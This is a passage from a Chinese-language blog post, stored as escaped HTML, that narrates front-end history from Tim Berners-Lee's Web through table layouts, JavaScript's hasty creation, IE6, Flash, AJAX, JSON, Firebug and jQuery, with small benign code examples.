&lt;p&gt;前端这三十年在做的事情，本质上就是：&lt;br /&gt;
&lt;strong&gt;利用一系列原本为静态文档设计的简陋技术，通过各种奇技淫巧，强行构建出媲美原生操作系统软件的动态应用&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;因为 HTTP 无状态，所以我们发明了 Cookie 和 Session，后来又搞出了 JWT&lt;/li&gt;
&lt;li&gt;因为 HTML 每次点击都要刷新整页，体验太差，所以我们发明了 AJAX，强行把网页变成了 SPA&lt;/li&gt;
&lt;li&gt;因为 DOM 操作太慢，所以我们发明了 Virtual DOM，在内存里算好了再去碰真实的 DOM&lt;/li&gt;
&lt;li&gt;因为 JavaScript 诞生时没有模块系统，所以我们发明了 CommonJS, AMD, UMD, 最终逼出了 ES Modules&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前端的演进史，就是一部与浏览器的对抗史。我们在对抗浏览器的限制，对抗网络的延迟，对抗设备的碎片化&lt;/p&gt;
&lt;h3&gt;0.3 轮回&lt;/h3&gt;
&lt;p&gt;在读本Blog时，你会发现一个非常有趣的现象：&lt;strong&gt;技术的轮回&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Web 1.0&lt;/strong&gt;：网页是服务端渲染的。PHP/JSP 在服务器把 HTML 拼好，浏览器直接展示。那是&lt;strong&gt;静态&lt;/strong&gt;的极致&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Web 2.0&lt;/strong&gt;：为了交互体验，我们把逻辑全搬到了浏览器。浏览器成了&lt;em&gt;客户端&lt;/em&gt;，服务器只吐 JSON 数据。这是&lt;strong&gt;动态&lt;/strong&gt;的极致&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Now&lt;/strong&gt;：为了首屏速度和 SEO，我们发现客户端渲染太慢了。于是，Next.js 和 Nuxt 又出现了&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;人类绕了一圈，似乎回到了原点？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不&lt;/p&gt;
&lt;p&gt;当年的静态，是因为我们做不到动态&lt;br /&gt;
现在的静态，是因为我们掌握了动态之后，为了极致体验而做出的主动选择&lt;/p&gt;
&lt;h3&gt;0.4 谁是前端？&lt;/h3&gt;
&lt;p&gt;在 2000 年，只要会写 &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; 布局和 &lt;code&gt;&amp;lt;font&amp;gt;&lt;/code&gt; 标签，你就是前端（那时候其实叫网页设计师）&lt;br /&gt;
在 2010 年，只要你会用 jQuery 的 &lt;code&gt;$(&apos;#id&apos;).click()&lt;/code&gt;，你就是前端
现在，你需要会Ts，即时编译，HTTP/3，服务端容器化等等&lt;/p&gt;
&lt;p&gt;前端的边界在无限扩张。&lt;br /&gt;
向上，我们在侵蚀后端的领地推出Serverless（尽管现在不尽人意）&lt;br /&gt;
向下，我们在通过 WebAssembly 调用 C++/Rust 的能力&lt;br /&gt;
向外，我们在通过 React Native / Flutter 构建原生App&lt;/p&gt;
&lt;p&gt;但无论技术栈如何变迁，有一点我希望阅读本文的前端开发者记住：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我们是离用户最近的人&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;1. 最初的起点&lt;/h2&gt;
&lt;h3&gt;1.1 蒂姆·伯纳斯-李的拼图&lt;/h3&gt;
&lt;p&gt;一切的起点，并不宏大。没有风险投资，没有 IPO，甚至没有想改变世界&lt;/p&gt;
&lt;p&gt;1989 年，蒂姆·伯纳斯-李（Tim Berners-Lee）在 CERN 工作时，面临着一个非常具体的痛点：物理学家们的论文和数据太难找了。它们分散在不同的计算机上，格式各异，如果你想引用别人的研究，只能手动去查&lt;/p&gt;
&lt;p&gt;于是，他提出了一个构想：World Wide Web&lt;/p&gt;
&lt;p&gt;为了实现这个构想，他拿出了三块拼图，这三块拼图至今仍是互联网的基石：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt;：一种简单的标记语言，用来描述文档的结构（标题、段落、列表）。这里你要注意的是，它只负责&lt;strong&gt;结构&lt;/strong&gt;，不负责&lt;strong&gt;好看&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP&lt;/strong&gt;：一种无状态的传输协议。你请求一个文档，服务器给你，然后连接断开。这种阅后即焚的特性决定了 Web 最初只是一个图书馆，而不是「操作系统」&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL&lt;/strong&gt;：给世界上的每一个文档分配一个唯一的地址&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;1990 年圣诞节，他在那台 NeXT 电脑上写出了世界上第一个浏览器和第一个服务器&lt;/p&gt;
&lt;p&gt;那时的网页长什么样？&lt;br /&gt;
&lt;strong&gt;Only text&lt;/strong&gt; 只有白纸黑字和蓝色的超链接。图片还需要弹出一个新窗口才能看&lt;/p&gt;
&lt;p&gt;这时候的前端开发，和写word没什么区别。你只需要掌握 &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; 这几个标签就够了。这是一个&lt;strong&gt;Read-Only&lt;/strong&gt;的时代&lt;/p&gt;
&lt;h3&gt;1.2 Table 与 Spacer GIF&lt;/h3&gt;
&lt;p&gt;随着 Mosaic 浏览器的发布（第一个广泛流行的图形化浏览器），图片终于可以和文字混排了。商业公司开始入驻互联网，设计师们带着平面设计的思维来了&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;炸了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;设计师说：我要在这个角落放个 Logo，在大标题下面分三栏排版，右边还要有一个Guide&lt;br /&gt;
工程师看着简陋的 HTML 说：把哥们当日本人整呢&lt;/p&gt;
&lt;p&gt;当时的 HTML 只有文档流。没有 &lt;code&gt;Float&lt;/code&gt;，没有 &lt;code&gt;Position&lt;/code&gt;，更没有 &lt;code&gt;Flexbox&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;怎么办？聪明或者说被逼无奈的开发者们发现了一个漏洞：HTML 里有一个用来展示数据的标签&lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt;，也就是表格&lt;/p&gt;
&lt;p&gt;如果你把边框设为 0 (&lt;code&gt;border=&quot;0&quot;&lt;/code&gt;)，表格线不就看不见了吗？&lt;br /&gt;
如果你在表格里套表格，不就可以切分出复杂的版块了吗？&lt;/p&gt;
&lt;p&gt;于是，&lt;strong&gt;表格布局时代&lt;/strong&gt;开始了&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;切图仔诞生&lt;/strong&gt;：设计师在 Photoshop 里把一张精美的网页设计图切成几十个小豆腐块，然后前端工程师用一个巨大的 &lt;code&gt;&amp;lt;table&amp;gt;&lt;/code&gt; 把它们拼回去&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;嵌套地狱&lt;/strong&gt;：为了实现一个圆角框，你可能需要一个 3x3 的表格，四个角放圆角图片，中间放内容。如果内容里还有布局，那就再套一个表格。代码看起来像是一个巨大的迷宫&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Spacer GIF&lt;/strong&gt;：这是那个时代最伟大的「黑客技术」
&lt;ul&gt;
&lt;li&gt;表格单元格有时会塌陷，或者你想要精确的 10px 间距，怎么办？&lt;/li&gt;
&lt;li&gt;你制作一个 1x1 像素的透明 GIF 图片&lt;/li&gt;
&lt;li&gt;然后写上 &lt;code&gt;&amp;lt;img src=&quot;spacer.gif&quot; width=&quot;10&quot; height=&quot;1&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;你看不到它，但它撑开了空间&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这是前端工程史上第一次大规模的&lt;strong&gt;为了目的不择手段&lt;/strong&gt;。虽然代码语义极差，维护极其困难（改一个字可能导致整个表格崩塌），但它让网页第一次有了&lt;strong&gt;设计感&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.3 JavaScript 的急就章&lt;/h3&gt;
&lt;p&gt;1995 年，Netscape 正处于第一次浏览器大战的风口浪尖。他们面临一个巨大的压力：&lt;strong&gt;让网页动起来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当时的痛点非常低级：&lt;strong&gt;表单验证&lt;/strong&gt;&lt;br /&gt;
那是拨号上网的年代，网速慢得令人发指。用户在网页上填完一个长长的注册表单，点击提交，数据传到服务器，服务器发现用户名为空，再把页面传回来告诉用户报错。这一来一回，可能要几十秒甚至一分钟。用户直接炸了&lt;/p&gt;
&lt;p&gt;网景觉得，必须有一种脚本语言，能直接在浏览器里检查表单，不需要经过服务器&lt;/p&gt;
&lt;p&gt;这个任务交给了 &lt;strong&gt;Brendan Eich&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BOSS的需求&lt;/strong&gt;：一定要像 Java（Java 当时如日中天，网景想蹭热度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brendan 的私心&lt;/strong&gt;：他其实想把 Scheme 或者 Self 搬进浏览器。他喜欢函数式编程&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;结果&lt;/strong&gt;：为了赶在 Netscape Navigator 2.0 发布前上线，他只用了 &lt;strong&gt;10 天&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这门语言最初叫 &lt;strong&gt;Mocha&lt;/strong&gt;，后来改名  &lt;strong&gt;LiveScript&lt;/strong&gt;，最后在发布前夕，为了营销，改名为 &lt;strong&gt;JavaScript&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就是后来无数人吐槽 JS 的根源：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它名字里有 Java，但跟 Java 没有任何关系&lt;/li&gt;
&lt;li&gt;它的语法像 Java，骨子里却是函数式语言&lt;/li&gt;
&lt;li&gt;它的设计充满了仓促的妥协：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;null&lt;/code&gt; 和 &lt;code&gt;undefined&lt;/code&gt; 同时存在，甚至 &lt;code&gt;typeof null === &apos;object&apos;&lt;/code&gt; 这种著名的 Bug 被保留至今&lt;/li&gt;
&lt;li&gt;自动分号插入带来的莫名其妙的报错&lt;/li&gt;
&lt;li&gt;极其宽松的类型转换（&lt;code&gt;[] + [] = &quot;&quot;&lt;/code&gt;）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;它被设计为一个玩具语言&lt;/strong&gt;，仅仅用来做一些鼠标滑过图片变色、弹出 alert 对话框、检查输入框不为空的小把戏&lt;/p&gt;
&lt;p&gt;当时的专业程序员 （比如写Java的） 对 JavaScript 是嗤之以鼻的。他们认为这不是编程，这是脚本片段&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;但潘多拉盒子已经打开了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;哪怕它再简陋，它赋予了浏览器逻辑计算的能力&lt;br /&gt;
有了逻辑，网页就不再只是文档，它开始向app进化&lt;/p&gt;
&lt;p&gt;那时的前端，就在这一堆乱七八糟的表格标签、透明图片占位符、以及几行简陋的脚本验证代码中，跌跌撞撞地开启了 Web 的商业化时代&lt;/p&gt;
&lt;p&gt;而就在不远的前方，一个名叫 Microsoft 的巨头马上就要睡醒了&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 第一次浏览器大战&lt;/h2&gt;
&lt;h3&gt;2.1 巨头的坠机&lt;/h3&gt;
&lt;p&gt;1996 年，Netscape Navigator 占据了近 80% 的市场份额。那时的浏览器是收费软件（或者说是共享软件），它是通往互联网的唯一大门&lt;/p&gt;
&lt;p&gt;但比尔·盖茨醒了。他发出了那封著名的《互联网浪潮》备忘录，微软这艘航母开始全速掉头&lt;/p&gt;
&lt;p&gt;微软采用了经典的&lt;strong&gt;Embrace, Extend, Extinguish&lt;/strong&gt;战略：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;拥抱&lt;/strong&gt;：微软买下了 Spyglass Mosaic 的授权，改造出了 &lt;strong&gt;Internet Explorer&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扩展&lt;/strong&gt;：为了差异化竞争，双方开始疯狂地往 HTML 里塞私货
&lt;ul&gt;
&lt;li&gt;Netscape 发明了 &lt;code&gt;&amp;lt;layer&amp;gt;&lt;/code&gt; 标签和 &lt;code&gt;&amp;lt;blink&amp;gt;&lt;/code&gt;（闪烁文本，我认为是史上最烦人的标签）&lt;/li&gt;
&lt;li&gt;微软发明了 &lt;code&gt;&amp;lt;iframe &amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;marquee&amp;gt;&lt;/code&gt;（滚动字幕）&lt;/li&gt;
&lt;li&gt;Netscape 用 &lt;code&gt;document.layers&lt;/code&gt; 操作元素，微软用 &lt;code&gt;document.all&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;结果开发者必须写大量的 &lt;code&gt;if (document.all) { ... } else { ... }&lt;/code&gt;。这就是&lt;strong&gt;浏览器嗅探&lt;/strong&gt;代码的鼻祖&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;毁灭&lt;/strong&gt;：微软祭出了核武器：&lt;strong&gt;免费捆绑&lt;/strong&gt;。IE 被预装在 Windows 95/98 里。网景唯一的收入来源断了&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;1998 年，网景惨败，被 AOL 收购。但在临死前，他们做出了一个改变历史的决定：&lt;strong&gt;开源&lt;/strong&gt;（噔 噔 咚）&lt;/p&gt;
&lt;p&gt;他们把 Netscape 混乱的代码全部扔给了社区，成立了 &lt;strong&gt;Mozilla&lt;/strong&gt;。这颗种子在地下埋藏了许多年，终长成名为 &lt;strong&gt;Firefox&lt;/strong&gt; 的大树&lt;/p&gt;
&lt;h3&gt;2.2 IE6：帝国的荣光与坠机&lt;/h3&gt;
&lt;p&gt;2001 年 8 月，Windows XP 发布，随之而来的是 &lt;strong&gt;Internet Explorer 6.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我们需要客观地评价这位昔日的王者。在 2026 年回看 IE6，它是落后、各种 Bug、不安全的代名词。但在 2001 年，&lt;strong&gt;IE6 是当时世界上最先进的浏览器&lt;/strong&gt;，没有之一（毕竟不能拿现在的眼光审视过去）&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;它是最好的 CSS 渲染器&lt;/strong&gt;：相比之前的版本，它对 CSS1 的支持已经算不错了（虽然有著名的盒模型 Bug）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;它是最快的 JS 引擎&lt;/strong&gt;：那时候的 V8 还在娘胎里&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;它带来了 AJAX 的火种&lt;/strong&gt;：&lt;code&gt;ActiveXObject(&quot;Microsoft.XMLHTTP&quot;)&lt;/code&gt; 正是随 IE5/6 引入的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IE6 迅速占据了 &lt;strong&gt;95%&lt;/strong&gt; 的市场份额。微软赢了，于是他们解散了浏览器团队（笑死）&lt;br /&gt;
&lt;strong&gt;Web 的时间停止了&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;从 2001 年到 2006 年，整整五年，浏览器技术没有任何实质性的进步。这五年我称为&lt;strong&gt;Web 的黑暗中世纪&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对于前端（这时候开始有专职的前端了），这五年是&lt;strong&gt;与 Bug 搏斗的五年&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;盒模型 Bug&lt;/strong&gt;：标准说 &lt;code&gt;width&lt;/code&gt; 是内容宽度，IE6 说 &lt;code&gt;width&lt;/code&gt; 是包含边框的宽度。于是我们学会了 CSS Hack：&lt;code&gt;_width: 200px;&lt;/code&gt;（只有 IE6 认识下划线开头的属性）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PNG 透明问题&lt;/strong&gt;：IE6 不支持 PNG-24 的半透明，看到的都是灰色背景。我们被迫写滤镜代码 (&lt;code&gt;AlphaImageLoader&lt;/code&gt;) 或者继续用 GIF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;双倍边距 Bug&lt;/strong&gt;：浮动元素的 margin 会莫名其妙加倍。解决办法？&lt;code&gt;display: inline&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我们不再是构建者，而是修东西的。前端开发的门槛变成了一门&lt;strong&gt;玄学&lt;/strong&gt;，你必须背诵几十个 IE6 的怪癖才能写出一个正常的页面&lt;/p&gt;
&lt;h3&gt;2.3 DHTML 与 Flash&lt;/h3&gt;
&lt;p&gt;在 HTML/CSS 停滞不前、标准分裂的年代，人类对动态交互的渴望并没有消失。这种渴望在两个方向上找到了出口&lt;/p&gt;
&lt;h4&gt;2.3.1 DHTML&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;DHTML (Dynamic HTML)&lt;/strong&gt; 不是一个标准，而是一个营销词汇&lt;br /&gt;
它指的是：&lt;strong&gt;利用 JS 修改 CSS 属性，让静态的 HTML 动起来&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;那是特效的年代&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;网页上会有跟随鼠标飘动的文字轨迹&lt;/li&gt;
&lt;li&gt;导航菜单展开时会有弹跳效果&lt;/li&gt;
&lt;li&gt;状态栏会有跑马灯文字&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;大部分前端并不会写 JS，他们是&lt;strong&gt;脚本搬运工&lt;/strong&gt;。他们去 &lt;code&gt;DynamicDrive.com&lt;/code&gt; 这样的网站，复制一段几百行的 JS 代码，粘贴到网页里，然后改改参数。&lt;strong&gt;JS 在当时被视为一种装饰品，一种让网页看起来很酷（或者很杀马特）的玩具&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;2.3.2 Flash&lt;/h4&gt;
&lt;p&gt;既然 HTML 这么烂，不同浏览器渲染还不一致，那为什么不跳出浏览器呢？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Macromedia Flash&lt;/strong&gt;（后被 Adobe 收购）横空出世&lt;br /&gt;
它实际上是一个&lt;strong&gt;浏览器里的虚拟机&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;一致性&lt;/strong&gt;：不管你是 IE 还是 Netscape，只要装了 Flash 插件，效果完全一样。这是对兼容性地狱最有力的反击&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多媒体&lt;/strong&gt;：它能播放视频、音频（当时 HTML 做不到）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;矢量绘图&lt;/strong&gt;：它能做无损缩放的动画（当时没 SVG 的事情）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;强大的语言&lt;/strong&gt;：&lt;strong&gt;ActionScript&lt;/strong&gt;。当 JS 还在处理表单验证时，ActionScript 2.0/3.0 已经是完全面向对象的语言了，有类、继承、接口&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在那个年代，最顶级的前端工程师其实是 &lt;strong&gt;Flash Developer&lt;/strong&gt;。他们做出了开心农场，做出了视频网站（土豆/优酷的早期播放器），做出了极其华丽的企业官网&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Flash 是 Web 2.0 真正的前奏&lt;/strong&gt;&lt;br /&gt;
它证明了网页可以不仅仅是文档，而可以是游戏、电影和复杂的应用&lt;br /&gt;
但它是一个黑盒子。搜索引擎看不懂它，移动设备（后来的 iPhone）跑不动它&lt;/p&gt;
&lt;p&gt;就在这看似无解的僵局中，Web 正在酝酿一场真正的革命&lt;br /&gt;
而在遥远的CA，Google 正在悄悄重写 Gmail 的代码，准备用 IE6 那个被遗忘的 &lt;code&gt;XMLHTTP&lt;/code&gt; 接口，给世界一点小小的震撼&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 网页开始呼吸&lt;/h2&gt;
&lt;h3&gt;3.1 Gmail 的震撼&lt;/h3&gt;
&lt;p&gt;2004 年愚人节，Google 发布了 Gmail。当时所有人以为这是个笑话，因为它提供了 1GB 的免费存储空间（当时主流邮箱只有 2MB）&lt;/p&gt;
&lt;p&gt;但真正让极客们震惊的不是容量，而是&lt;strong&gt;体验&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在此之前，网页交互的模式是同步的：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;用户点击下一页&lt;/li&gt;
&lt;li&gt;浏览器白屏&lt;/li&gt;
&lt;li&gt;服务器生成新的 HTML&lt;/li&gt;
&lt;li&gt;浏览器重新渲染整个页面&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;而在 Gmail 里，当你点击邮件标题时，网页&lt;strong&gt;没有刷新&lt;/strong&gt;。列表保留在左边，邮件内容瞬间出现在右边。&lt;br /&gt;
这种体验太像原生app了，以至于很多人怀疑 Google 用了 Flash 或者 Java Applet&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;并没有&lt;/strong&gt; 他们用的是纯正的、原生的、被微软遗忘在角落里的技术 &lt;strong&gt;XMLHTTP&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这项技术是微软在 1999 年为了 Outlook Web Access 开发的，随 IE5 发布。但微软自己没重视它，把它当成一个不起眼的 ActiveX 控件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Jesse James Garrett 的命名&lt;/strong&gt;：2005 年，这位 UX 设计师写了一篇著名的文章，将这种“无需刷新页面就能与服务器通信”的技术统称为 &lt;strong&gt;AJAX (Asynchronous JavaScript and XML)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;从此，网页有了后台线程&lt;/strong&gt;&lt;br /&gt;
它可以在你不注意的时候，悄悄去服务器拿数据。&lt;strong&gt;网页开始呼吸了&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;3.2 JSON 一种偶然的标准&lt;/h3&gt;
&lt;p&gt;AJAX 中的 &quot;X&quot; 代表 &lt;strong&gt;XML&lt;/strong&gt;。在当时，数据交换的标准格式确实是 XML&lt;br /&gt;
但是，在 JavaScript 里解析 XML 简直是&lt;strong&gt;灾难&lt;/strong&gt;。你得写一堆 &lt;code&gt;getElementsByTagName&lt;/code&gt;，代码冗长且慢&lt;/p&gt;
&lt;p&gt;这时候，一位名叫 &lt;strong&gt;Douglas Crockford&lt;/strong&gt; 的雅虎架构师站了出来&lt;br /&gt;
他发现 JavaScript 有一种原生的数据表示法——&lt;strong&gt;对象字面量&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// XML
&amp;lt;user&amp;gt;&amp;lt;name&amp;gt;Chongxi&amp;lt;/name&amp;gt;&amp;lt;age&amp;gt;23&amp;lt;/age&amp;gt;&amp;lt;/user&amp;gt;

// JSON
{ &quot;name&quot;: &quot;Chongxi&quot;, &quot;age&quot;: 23 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Crockford 甚至没有发明它，他只是&lt;strong&gt;发现&lt;/strong&gt;了它。他把这种格式命名为 &lt;strong&gt;JSON&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它天生就是 JS 对象，解析极其简单（早期直接用 &lt;code&gt;eval()&lt;/code&gt;，虽然不安全）&lt;/li&gt;
&lt;li&gt;它比 XML 轻量得多（少了那么多尖括号，节省带宽）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;这是 Web 历史上最四两拨千斤的胜利&lt;/strong&gt;&lt;br /&gt;
由于前端开发者的极力推崇，后端工程师发现生成 JSON 也比生成 XML 容易。于是，AJAX 里的 &quot;X&quot; 名存实亡，JSON 统治了世界&lt;/p&gt;
&lt;h3&gt;3.3 Firebug&lt;/h3&gt;
&lt;p&gt;在 2006 年之前，调试 JS 的唯一工具是：
&lt;code&gt;alert(&apos;Here 1&apos;);&lt;/code&gt;
&lt;code&gt;alert(&apos;Variable x is: &apos; + x);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;开发者像瞎子一样摸索。如果代码出错了，IE 只会左下角报一个黄色感叹号，告诉你缺少对象，行号永远是不准的&lt;/p&gt;
&lt;p&gt;2006 年 1 月，&lt;strong&gt;Joe Hewitt&lt;/strong&gt; 发布了 Firefox 的插件 &lt;strong&gt;Firebug&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;它能&lt;strong&gt;审查元素&lt;/strong&gt;：鼠标指哪，高亮哪。上帝啊，我们可以直接在浏览器里改 CSS 看效果了&lt;/li&gt;
&lt;li&gt;它有&lt;strong&gt;控制台 (Console)&lt;/strong&gt;：&lt;code&gt;console.log()&lt;/code&gt; 终于取代了 &lt;code&gt;alert()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;它能&lt;strong&gt;断点调试&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;它能&lt;strong&gt;抓包&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Firebug 是前端工程化的第一块基石&lt;/strong&gt; 它让前端开发从玄学瞎猜变成了科学观测&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;4. Write Less, Do More&lt;/h2&gt;
&lt;h3&gt;4.1 救世主&lt;/h3&gt;
&lt;p&gt;虽然有了 AJAX，有了 Firebug，但前端开发依然极其痛苦
&lt;strong&gt;痛点在于：碎片化&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;要获取一个元素：
&lt;ul&gt;
&lt;li&gt;标准浏览器：&lt;code&gt;document.getElementById&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;如果要按 Class 获取：IE6 不支持 &lt;code&gt;getElementsByClassName&lt;/code&gt;。你得自己写循环去遍历 DOM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;要绑定事件：
&lt;ul&gt;
&lt;li&gt;标准：&lt;code&gt;addEventListener&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IE：&lt;code&gt;attachEvent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;要获取计算后的样式：
&lt;ul&gt;
&lt;li&gt;标准：&lt;code&gt;getComputedStyle&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;IE：&lt;code&gt;currentStyle&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;每个前端工程师的电脑里都有一个 &lt;code&gt;utils.js&lt;/code&gt;，里面存着几百行用来处理兼容性的脏代码&lt;/p&gt;
&lt;p&gt;2006 年 8 月，&lt;strong&gt;John Resig&lt;/strong&gt; 在 BarCamp NYC 上发布了 &lt;strong&gt;jQuery&lt;/strong&gt;&lt;br /&gt;
它的核心理念极其简单粗暴：&lt;strong&gt;把所有浏览器差异藏在 &lt;code&gt;$&lt;/code&gt; 符号后面&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;4.2 链式调用的艺术&lt;/h3&gt;
&lt;p&gt;jQuery 发明了一种极具表现力的 API 风格——&lt;strong&gt;链式调用&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;以前的代码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var div = document.getElementById(&apos;CEPATO&apos;);
div.style.color = &apos;red&apos;;
div.style.display = &apos;block&apos;;
div.onclick = function() { alert(&apos;clicked&apos;); };
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;jQuery 的代码：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$(&apos;#CEPATO&apos;).css(&apos;color&apos;, &apos;red&apos;).show().click(function() {
    alert(&apos;clicked&apos;);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sizzle 引擎&lt;/strong&gt;：这是 jQuery 的核心。它让 JS 可以像 CSS 一样选择元素（&lt;code&gt;div &amp;gt; ul.list li:first-child&lt;/code&gt;）。这在当时是黑科技&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;隐式迭代&lt;/strong&gt;：&lt;code&gt;$(&apos;.item&apos;).hide()&lt;/code&gt; 会自动隐藏页面上所有的 &lt;code&gt;.item&lt;/code&gt;，不需要写 &lt;code&gt;for&lt;/code&gt; 循环&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;jQuery 迅速成为了&lt;strong&gt;事实标准&lt;/strong&gt;。甚至微软后来都在 Visual Studio 里内置了 jQuery 的智能提示&lt;/p&gt;
&lt;h3&gt;4.3 copycat 黄金时代&lt;/h3&gt;
&lt;p&gt;jQuery 的另一个伟大之处在于它的插件机制 (&lt;code&gt;$.fn.extend&lt;/code&gt;)&lt;br /&gt;
这开启了前端最早的组件化雏形&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lightbox&lt;/strong&gt;：点击图片，背景变暗，图片放大&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Carousel&lt;/strong&gt;：轮播图&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Datepicker&lt;/strong&gt;：日期选择器&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;无数不懂 JS 原理的切图仔，靠着下载 jQuery 插件 + 改 CSS，就能拼凑出一个交互丰富的网站&lt;br /&gt;
